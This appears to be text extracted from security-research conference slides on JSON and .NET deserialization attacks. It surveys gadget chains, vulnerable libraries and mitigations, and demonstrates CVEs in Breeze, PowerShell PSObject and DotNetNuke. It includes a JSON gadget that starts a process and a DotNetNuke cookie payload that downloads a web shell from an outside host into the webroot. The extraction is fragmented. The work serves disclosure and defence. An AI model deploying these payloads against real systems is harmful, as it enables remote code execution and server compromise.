Owasp Appsecusa Json Attacks
Owasp Appsecusa Json Attacks
set_MethodName()
set_ObjectType()
set_ObjectInstance()
QueryWorker()
Refresh()
InvokeMethodOnInstance()
BeginQuery()
ObjectDataProvider
{"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System”},
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["calc"]},
"MethodName":"Start"
}
• Non-default constructor with controlled parameters
• ObjectType + ConstructorParameters
• Any public instance method of unmarshaled object without parameters
• ObjectInstance + MethodName
• Any public static/instance method with controlled parameters
• ObjectType + ConstructorParameters + MethodName + MethodParameters
Gadgets: Java Edition
§ org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName
- JNDI lookup
§ com.atomikos.icatch.jta.RemoteClientUserTransaction.toString
- JNDI lookup
§ com.sun.rowset.JdbcRowSetImpl.setAutoCommit
- JNDI lookup
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
JdbcRowSetImpl.setAutoCommit
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Gadgets: non RCE
.NET
§ System.Xml.XmlDocument/XmlDataDocument.set_InnerXml
- XXE on .NET before 4.5.2
§ System.Data.DataViewManager.set_DataViewSettingCollectionString
- XXE on .NET before 4.5.2
§ System.Windows.Forms.BindingSource.set_DataMember
- Arbitrary getter call which can be used to chain to other gadgets
Java
§ org.antlr.stringtemplate.StringTemplate.toString
- Arbitrary getter call which can be used to chain to other gadgets such as the infamous
TemplatesImpl.getOutputProperties()
Analyzed Libraries
§ Arbitrary Code Execution Requirements:
1. Attacker can control type of reconstructed objects
• Can specify Type _type, $type, class, classname, javaClass, …
• Library loads and instantiate Type
2. Library/GC will call methods on reconstructed objects
3. There are gadget chains starting on method executed upon/after
reconstruction
Categorization
§ Format includes type discriminator
1. Default
2. Configuration setting
§ Type control
1. Cast after deserialization
2. Inspection of expected type object graph
Expected Type’s Object Graph Inspection
- Inspection of expected type’s object graph
- Check assignability from provided type
- In some cases it also create a whitelist of allowed types
- Vulnerable if
- Expected type is user-controllable
- Attacker can find injection member in object graph and no whitelist is applied
Message
Body : Object
IUser User Exc: Exception
Name : String Name : String
Items : Dict<String, Object> Items : Dict<String, Object>
Message : Message Message : Message
Props : Hashtable Exception ValidationException
Data : IDictionary …
Message : String Value : Object
Source: String
StackTrace: String
InnerException: Exception
…
Summary
Name Language Type Type Control Vector
Discriminator
FastJSON .NET Default Cast Setter
Json.Net .NET Configuration Expected Object Graph Inspection Setter
Deser. callbacks
FSPickler .NET Default Expected Object Graph Inspection Setter
Deser. callbacks
Sweet.Jayson .NET Default Cast Setter
JavascriptSerializer .NET Configuration Cast Setter
DataContractJsonSeriali .NET Default Expected Object Graph Inspection + Setter
zer whitelist
Deser. callbacks
Jackson Java Configuration Expected Object Graph Inspection Setter
§ Invokes
- Setter
§ Should never be used with untrusted data
§ Example:
- KalikoCMS
- CVE-2017-10712
JavaScriptSerializer
§ System.Web.Script.Serialization.JavaScriptSerializer
§ By default, it will not include type discriminator information
- Type Resolver can be used to include this information.
JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver());
string reqdInfo = apiService.authenticateRequest();
reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));
§ Invokes:
- Setters
- Serialization Constructors
§ Can be used securely as long as the expected type cannot be controlled by users.
Json.Net
§ It does not include Type discriminators unless TypeNameHandling setting other
than None is used
§ Performs an inspection of Expected Type’s Object Graph
§ Invokes:
- Setters
- Serialization callbacks
- Type Converters
§ Use SerializationBinder to whitelist Types if TypeNameHandling is
required
Demo 1: Breeze (CVE-2017-9424)
https://github.com/Breeze/breeze.server.net/blob/bda6d979437d7a3430be8872fea182c3cbc4c97c/AspNet/Breeze.ContextProvider/BreezeConfig.cs
Unsafe Deserialization & Entrypoint
https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
Demo 1: Breeze (CVE-2017-9424)
Demo 1: Breeze (CVE-2017-9424)
Similar Research
§ Java Unmarshaller Security
- Author: Moritz Bechler
- Parallel research published on May 22, after our research was accepted for BlackHat and
abstract was published J.
§ Focus exclusively on Java
§ Overlaps with our research on:
- Jackson and JSON-IO libraries
- JdbcRowSetImpl.setAutoCommit gadget
§ Include other interesting gadgets
§ https://github.com/mbechler/marshalsec
.NET Formatters
Introduction
§ Attacks on .NET formatters are not new
• Goals:
§ James Forshaw already introduced them at • Raise awareness about perils of .NET
BlackHat 2012 for
deserialization
- BinaryFormatter • Present new vulnerable formatters
- NetDataContractSerializer
scenarios
• Present new gadgets
§ Lack of RCE gadget until recently L • Need new gadgets that works with
Formatters other than BinaryFormatter
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
XAML Payload
§ CSRF cookie
§ Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions
3. Gadget space is big enough to find types we can chain to get RCE
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72
Sink
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201
DNNPersonalization Regular Cookie
<profile>
<boolean>false</boolean>
</item>
</profile>
DNNPersonalization Payload Cookie
<profile>
<item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win
dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Demo 3: DotNetNuke (CVE-2017-9822)
Demo 3: DotNetNuke (CVE-2017-9822)
Wrap-Up
Main Takeaways
alvaro.munoz@microfocus.com / @pwntester
oleksandr.mirosh@microfocus.com